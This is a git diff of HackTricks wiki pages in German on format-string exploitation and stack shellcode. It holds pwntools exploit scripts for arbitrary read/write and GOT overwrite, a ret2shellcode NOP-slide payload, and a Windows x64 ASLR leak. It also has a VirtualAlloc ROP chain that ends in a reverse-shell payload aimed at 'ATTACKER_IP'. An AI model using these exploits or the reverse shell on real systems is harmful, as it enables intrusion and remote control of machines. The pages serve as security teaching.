mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/ar
This commit is contained in:
parent
084eec281f
commit
0729dc69c3
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -5,13 +5,13 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
|
||||
In C **`printf`** ist eine Funktion, die verwendet werden kann, um einen String zu **ausgeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **Rohtext mit den Formatplatzhaltern**. Die **folgenden Parameter** sind die **Werte**, die die **Formatplatzhalter** im Rohtext **ersetzen**.
|
||||
|
||||
Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
||||
Weitere verwundbare Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
||||
|
||||
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Funktionen ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **willkürlichen Code auszuführen**.
|
||||
Die Schwachstelle tritt auf, wenn ein **vom Angreifer kontrollierter Text als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe konstruieren, die die printf-Format-String-Fähigkeiten missbraucht**, um beliebige Daten an beliebigen Adressen zu **lesen** und zu **schreiben** (lesbar/schreibbar). Auf diese Weise kann beliebiger Code **ausgeführt** werden.
|
||||
|
||||
#### Formatierer:
|
||||
#### Formatplatzhalter:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -30,7 +30,7 @@ char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Normaler Gebrauch:
|
||||
- Normale Verwendung:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf anfällig:
|
||||
- fprintf verwundbar:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -52,9 +52,9 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Zugriff auf Zeiger**
|
||||
### **Zugriff auf Pointers**
|
||||
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (aus dem stack) auszuwählen. Wenn du also das 4. Argument vom stack mit printf auslesen möchtest, könntest du folgendes tun:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -64,16 +64,16 @@ Oder du könntest Folgendes tun:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
und direkt das vierte lesen.
|
||||
und liest direkt den vierten.
|
||||
|
||||
Beachten Sie, dass der Angreifer den `printf` **Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stack sein wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
|
||||
Beachte, dass der Angreifer den `printf` **parameter kontrolliert, which basically means that** seine Eingabe auf dem stack liegen wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische address in den stack schreiben könnte.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkürliche Adressen im Stack hinzuzufügen und `printf` dazu zu bringen, auf sie zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzen kann.
|
||||
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **beliebige address in den stack einzufügen und `printf` dazu zu bringen, auf diese zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie dieses Verhalten genutzt werden kann.
|
||||
|
||||
## **Willkürliches Lesen**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken, bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, damit **`printf`** die **address**, die sich an der **n position** befindet, nimmt, ihr folgt und **so druckt, als wäre sie ein string** (druckt bis eine 0x00 gefunden wird). Wenn die base address des binary **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. position im stack beginnt, ist es möglich, den Anfang des binary mit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String am Ende dieser Adresse bei 0x00 abgeschnitten wird.
|
||||
> Beachte, dass du die Adresse 0x8048000 nicht am Anfang der Eingabe setzen kannst, weil die Zeichenkette wegen eines 0x00-Bytes am Ende dieser Adresse beendet wird.
|
||||
|
||||
### Offset finden
|
||||
|
||||
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis Sie die `A's` erhalten.
|
||||
Um den Offset zu deiner Eingabe zu finden, könntest du 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`**, und den Wert **erhöhen**, bis du die `A's` zurückbekommst.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf-Offset</summary>
|
||||
<summary>Brute Force printf offset</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -128,57 +128,59 @@ p.close()
|
||||
|
||||
### Wie nützlich
|
||||
|
||||
Arbitrary Reads können nützlich sein, um:
|
||||
Arbitrary reads können nützlich sein, um:
|
||||
|
||||
- **Den** **Binary** aus dem Speicher zu **dumpen**
|
||||
- **Zugriff auf spezifische Teile des Speichers zu erhalten, wo sensible** **Infos** gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** die **binary** aus dem Speicher
|
||||
- **Zugriff auf spezifische Teile des Speichers, in denen sensible** **info** gespeichert sind (wie canaries, encryption keys oder custom passwords wie in diesem [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er mit printf möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
|
||||
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse**, die durch den <num>-Parameter auf dem Stack angezeigt wird. Wenn ein Angreifer so viele Zeichen mit printf schreiben kann, wie er möchte, kann er **`%<num>$n`** dazu bringen, eine beliebige Zahl in eine beliebige Adresse zu schreiben.
|
||||
|
||||
Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
|
||||
Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erreichen; stattdessen kann der Formatter **`%.<num-write>%<num>$n`** verwendet werden, um die Zahl **`<num-write>`** in die **durch die `num`-Position bezeichnete Adresse** zu schreiben.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie `0x08049724` (die eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
|
||||
Beachte jedoch, dass man üblicherweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet. Dadurch werden **nur 2 Bytes** geschrieben. Deshalb wird dieser Vorgang zweimal durchgeführt: einmal für die höheren 2B der Adresse und einmal für die niedrigeren.
|
||||
|
||||
Daher ermöglicht diese Schwachstelle, **alles an jede Adresse zu schreiben (willkürliches Schreiben).**
|
||||
Folglich erlaubt diese Schwachstelle, **beliebige Werte an beliebige Adressen zu schreiben (arbitrary write).**
|
||||
|
||||
In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere arbitrary write → exec Techniken ausnutzen könnte:
|
||||
|
||||
In diesem Beispiel wird das Ziel sein, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies andere Techniken des willkürlichen Schreibens zur Ausführung missbrauchen könnte:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Wir werden eine **Funktion** **überschreiben**, die ihre **Argumente** vom **Benutzer** **erhält** und sie auf die **`system`** **Funktion** **zeigt**.\
|
||||
Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst **schreibt man 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
||||
Wir werden eine **Funktion** überschreiben, die ihre **Argumente** vom **Benutzer** erhält, und sie auf die **`system`** **Funktion** zeigen lassen.\
|
||||
Wie erwähnt, sind zum Schreiben der Adresse normalerweise 2 Schritte nötig: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
||||
|
||||
- **HOB** wird für die 2 höheren Bytes der Adresse aufgerufen
|
||||
- **LOB** wird für die 2 niedrigeren Bytes der Adresse aufgerufen
|
||||
- **HOB** bezeichnet die 2 höheren Bytes der Adresse
|
||||
- **LOB** bezeichnet die 2 niedrigeren Bytes der Adresse
|
||||
|
||||
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie **zuerst das kleinste** von \[HOB, LOB] schreiben und dann das andere.
|
||||
Dann, aufgrund der Funktionsweise von format string, muss man **zuerst den kleineren** von \[HOB, LOB] schreiben und danach den anderen.
|
||||
|
||||
Wenn HOB < LOB\
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Wenn HOB > LOB\
|
||||
If HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
### Pwntools-Vorlage
|
||||
### Pwntools Vorlage
|
||||
|
||||
Du findest eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
|
||||
|
||||
Sie finden eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Oder dieses grundlegende Beispiel von [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Oder dieses grundlegende Beispiel von [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -197,20 +199,62 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Format-Strings zu BOF
|
||||
## Format Strings to BOF
|
||||
|
||||
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Buffer Overflow**-Art von Sicherheitsanfälligkeit auszunutzen.
|
||||
Es ist möglich, die Schreibaktionen einer format string vulnerability auszunutzen, um **in Adressen des stack zu schreiben** und eine **buffer overflow**-Art von Schwachstelle auszunutzen.
|
||||
|
||||
## Weitere Beispiele & Referenzen
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Unter Windows x64 werden die ersten vier Integer-/Pointer-Parameter in Registern übergeben: RCX, RDX, R8, R9. An vielen fehlerhaften Aufrufstellen wird die vom Angreifer kontrollierte Zeichenkette als Format-Argument verwendet, aber keine varargs übergeben, zum Beispiel:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
|
||||
|
||||
Praktischer Workflow:
|
||||
|
||||
- Injiziere ein harmloses Format wie "%p " ganz am Anfang des attacker-controlled string, sodass die erste Conversion ausgeführt wird bevor irgendeine Filterung.
|
||||
- Fange den leaked pointer ein, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges reversing mit symbols oder einer lokalen Kopie), und rekonstruiere die image base als `leak - known_offset`.
|
||||
- Wiederverwende diese base, um absolute Adressen für ROP gadgets und IAT entries remote zu berechnen.
|
||||
|
||||
Beispiel (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Hinweise:
|
||||
- Der genaue Offset, der subtrahiert werden muss, wird einmal während des lokalen Reversings ermittelt und dann wiederverwendet (dieselbe binary/version).
|
||||
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
|
||||
- Dieses Muster ist spezifisch für die Windows x64 calling convention und printf-family implementations, die nonexistent varargs aus Registern holen, wenn der Format-String sie anfordert.
|
||||
|
||||
Diese Technik ist extrem nützlich, um ROP auf Windows-Services zu bootstrapen, die mit ASLR kompiliert sind und keine offensichtlichen memory disclosure primitives besitzen.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der win-Funktion (ret2win) zu überschreiben
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückläuft) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so modifiziert, dass er auf die Stelle dieses Shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
|
||||
**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf die Position dieses Shellcodes zeigt und dessen Ausführung bewirkt. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte.
|
||||
|
||||
### C-Beispiel: Ein verwundbares Programm
|
||||
|
||||
Lass uns mit einem einfachen Beispiel eines verwundbaren C-Programms beginnen:
|
||||
Beginnen wir mit einem einfachen Beispiel für ein verwundbares C-Programm:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Dieses Programm ist anfällig für einen Buffer Overflow aufgrund der Verwendung der `gets()`-Funktion.
|
||||
Dieses Programm ist aufgrund der Verwendung der Funktion `gets()` anfällig für einen buffer overflow.
|
||||
|
||||
### Kompilierung
|
||||
|
||||
Um dieses Programm zu kompilieren und dabei verschiedene Schutzmaßnahmen zu deaktivieren (um eine anfällige Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
|
||||
Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie den folgenden Befehl verwenden:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Deaktiviert den Stack-Schutz.
|
||||
- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um Shellcode, der im Stack gespeichert ist, auszuführen.
|
||||
- `-no-pie`: Deaktiviert Position Independent Executable, was es einfacher macht, die Speicheradresse vorherzusagen, an der sich unser Shellcode befinden wird.
|
||||
- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei, oft zur Vereinfachung in der Exploit-Entwicklung.
|
||||
- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um shellcode auszuführen, der auf dem Stack gespeichert ist.
|
||||
- `-no-pie`: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der unser shellcode liegen wird.
|
||||
- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei; wird oft zur Vereinfachung bei der Exploit-Entwicklung verwendet.
|
||||
|
||||
### Python Exploit mit Pwntools
|
||||
|
||||
Hier ist, wie Sie einen Exploit in Python mit **pwntools** schreiben könnten, um einen **ret2shellcode**-Angriff durchzuführen:
|
||||
So könnten Sie einen Exploit in Python mit **pwntools** schreiben, um einen **ret2shellcode** attack durchzuführen:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Dieses Skript erstellt eine Nutzlast, die aus einem **NOP-Slide**, dem **Shellcode** und dann dem Überschreiben des **EIP** mit der Adresse besteht, die auf das NOP-Slide zeigt, um sicherzustellen, dass der Shellcode ausgeführt wird.
|
||||
Dieses Skript konstruiert eine Payload, die aus einer **NOP slide**, dem **shellcode**, besteht und überschreibt dann die **EIP** mit der Adresse, die auf die NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird.
|
||||
|
||||
Der **NOP-Slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren Shellcode "gleitet", unabhängig von der genauen Adresse. Passen Sie das `p32()`-Argument an die Startadresse Ihres Buffers plus einen Offset an, um im NOP-Slide zu landen.
|
||||
Die **NOP slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "einschlägt", unabhängig von der genauen Adresse. Passe das `p32()`-Argument an die Startadresse deines Buffers plus einen Offset an, um in die NOP slide zu landen.
|
||||
|
||||
## Schutzmaßnahmen
|
||||
## Windows x64: NX umgehen mit VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse bei mehreren Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die Gewinnfunktion geladen ist.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückgabeadresse niemals verfolgt wird.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **Stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar ist.
|
||||
Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um dennoch stack-residenten shellcode nach einem stack BOF auszuführen, besteht darin, eine 64-Bit ROP chain zu bauen, die VirtualAlloc (oder VirtualProtect) aus der module Import Address Table (IAT) aufruft, um einen Bereich des Stacks ausführbar zu machen, und dann in den unmittelbar nach der chain angehängten shellcode zurückzuspringen.
|
||||
|
||||
Wichtige Punkte (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu allocierte RWX-Bereich mit deinem Payload überlappt
|
||||
- RDX = dwSize → groß genug für deine chain + shellcode (z. B. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Direkt in den unmittelbar nach der chain platzierten shellcode zurückkehren.
|
||||
|
||||
Minimale Strategie:
|
||||
1) Leak a module base (z. B. via format-string, object pointer, etc.), um unter ASLR absolute Gadget- und IAT-Adressen zu berechnen.
|
||||
2) Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls du keine direkten pop r8/r9 hast, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. r8=0 setzen und r9 wiederholt um 0x40 addieren, vierzig Mal, um 0x1000 zu erreichen).
|
||||
3) Platziere Stage-2 shellcode unmittelbar nach der chain.
|
||||
|
||||
Beispiel-Layout (konzeptionell):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Mit einem eingeschränkten gadget set kannst du Registerwerte indirekt konstruieren, zum Beispiel:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem Junk-qword.
|
||||
- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → verschiebt den von RSP abgeleiteten Wert in RCX.
|
||||
|
||||
Pwntools-Skizze (bei bekannter base und gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Tipps:
|
||||
- VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer als RX zu markieren; die Parameterreihenfolge ist anders.
|
||||
